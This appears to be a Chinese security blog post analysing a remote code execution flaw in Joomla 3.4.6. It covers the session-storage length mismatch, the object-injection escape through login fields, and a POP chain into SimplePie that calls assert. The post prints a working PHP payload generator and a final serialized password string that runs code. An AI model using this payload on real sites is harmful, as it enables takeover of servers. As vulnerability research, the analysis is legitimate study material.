Hu3sky's blog

Joomla 3.4.6 远程代码执行

Word count: 1,953 / Reading time: 10 min
2019/10/20 Share

前言

看了网上的一些分析之后,觉得分析的都不是很全,要不然只是分析了流程,要不然POP链只是简单的提了一下,也不说为什么要这么构造。。上来就扔别人的poc,个人感觉这样不是很好,既然是自己分析,就还是要把POP链的每一步都了解清楚,我踩坑的时候,去请教了一位写了分析的师傅,也没回复我,不知道是我太菜了还是怎么样orz。。。于是有了这篇分析,师傅们看了如有什么问题,还请多包涵

环境搭建

安装包
https://downloads.joomla.org/it/cms/joomla3/3-4-6

Session机制

login过程
image
第一个请求会调用write函数写入(后面有介绍),303重定向后会调用read函数进行反序列化
所以复现的时候,登陆跳转后,才会触发read操作进行反序列化
用户的信息被保存在_session表里,以session_id为字段
image

在session入库的过程中 有两个关键函数
libraries/joomla/session/storage/database.php#read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();

try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

$db->setQuery($query);

$result = (string) $db->loadResult();

$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

return $result;
}
...
}

libraries/joomla/session/storage/database.php#write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

// Try to update the session data in the database table.
$db->setQuery($query);

if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
...
}

可以发现
在write的时候,会将chr(0) . '*' . chr(0)替换为\0\0\0,因为在mysql中 不允许存储空字节
所以在read的时候,会将\0\0\0还原为chr(0) . '*' . chr(0),以便于反序列化
因为protected变量序列化之后带有空字节
image

存储过程中
{s:7:N*Ndata} => {s:7:\0\0\0data}
N*N是3个长度大小,但是替换成\0\0\0之后,应该变成了6个长度大小,但是处理过程中并没有改变这个大小
image

这就造成了此次漏洞的关键点

如果我们控制username为\0\0\0hu3sky,长度是12,那么,在读取的时候,就会将\0\0\0替换,导致长度会减小3,于是反序列化的时候就会出现错误

那么接着看,payload假如是

1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"

那么调用read的时候,payload会变成下面这样

1
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"

这样,NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA这一串字符串刚好是54位,那么我们就可以在密码处进行逃逸并注入反序列化任意类了

比如我们将密码改为MYPA";s:2:"HS":O:15:"ObjectInjection,注入后,就为下面这种情况

1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"

POP链

直接全局搜索__destruct,寻找反序列化的入口
找到了一个比较好利用的类
libraries/joomla/database/driver/mysqli.php:JDatabaseDriverMysql
他的__destruct
image
跟入disconnect
image

直接出现call_user_func_array就很舒服了,进入if的条件是is_resource($this->connection)true

同时让disconnectHandlers可控就行了,这两个变量的定义都在
libraries/joomla/database/driver.php#185

1
2
3
protected $connection;
...
protected $disconnectHandlers = array();

不过

1
call_user_func_array($h,array( &$this));

可控的变量只有$h,所以我们需要再调一个类,来返回一个call_user_func的方法,并且call_user_func的参数可控,比如

1
2
<?php
var_dump(call_user_func_array(call_user_func("assert","phpinfo();"), array("aa"=>"aa")));

call_user_func_array回调了一个call_user_func去调用了assert方法,并且传入了phpinfo,执行了代码

image

寻找可控点

于是,接下来的目标就是去寻找一个返回了call_user_func的类
call_user_func_array可以调用类的方法

官方的一个例子

1
2
3
4
5
6
7
8
9
10
11
<?php
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

libraries/simplepie/simplepie.php:init方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

function init()
{
...
if ($this->feed_url !== null || $this->raw_data !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
...
if ($this->feed_url !== null)
{
...
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
//var $cache_class = 'SimplePie_Cache';
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}

这里

1
call_user_func($this->cache_name_function, $this->feed_url)

$this->cache_name_function,$this->feed_url 都可控,于是可以构造

1
call_user_func('assert','phpinfo();')

所以我们只需要进入if判断就行了
$parsed_feed_urlparse_url函数解析都结果,所以需要让scheme不为空
parse_url解析的是

还需要让$raw_datatrue$this->cache默认为true

利用payload进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class JDatabaseDriverMysqli
{
protected $connection;
protected $disconnectHandlers;
function __construct($obj)
{
$this->connection = 1;
$this->disconnectHandlers = array("a"=>$obj);
}
}

class SimplePie
{
var $cache_name_function = "assert";
var $feed_url = "phpinfo();";

}


$obj = array(new SimplePie,"init");
$a = new JDatabaseDriverMysqli($obj);
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);

登录时用户名密码分别是

1
2
3
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":2:{s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{s:1:"a";a:2:{i:0;O:9:"SimplePie":2:{s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:10:"phpinfo();";}i:1;s:4:"init";}}}

调用栈和相关的变量如下
image
但是跟不到Simplepie这个类里面去

查看了@phthion的上个版本的分析
发现libraries/simplepie/simplepie.php这个类是默认不会加载的,在
libraries/legacy/simplepie/factory.php
image

默认jimport了这个类,所以我们需要先实例化JSimplepieFactory
同时,需要在Simplepie里实例化JDatabaseDriverMysql,否则无法加载Simplepie,这里不是很明白,于是修改payload

(调试的时候发现了)
image
这两个条件必须要满足,否则会退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class JSimplepieFactory{

}
class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
protected $xx;
protected $connection;
protected $disconnectHandlers;
protected $obj;
function __construct()
{
$this->xx = new JSimplepieFactory();
$this->connection = 1;
$obj = new SimplePie;
$this->disconnectHandlers = [
[$obj, "init"],
];
}
}

class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}


$a = new JDatabaseDriverMysqli();
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);

image
成功加载

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
protected $xx;
protected $connection;
protected $disconnectHandlers;
protected $obj;
function __construct()
{
$this->xx = new JSimplepieFactory();
$this->connection = 1;
$obj = new SimplePie;
$this->disconnectHandlers = [
[$obj, "init"],
];
}
}

class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}

$a = new JDatabaseDriverMysqli();
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);

最终password

1
MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":4:{s:5:"\0\0\0xx";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:6:"\0\0\0obj";N;}

打印出phpinfo;
image

Reference

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. Session机制
  4. 4. POP链
    1. 4.1. 寻找可控点
  5. 5. Reference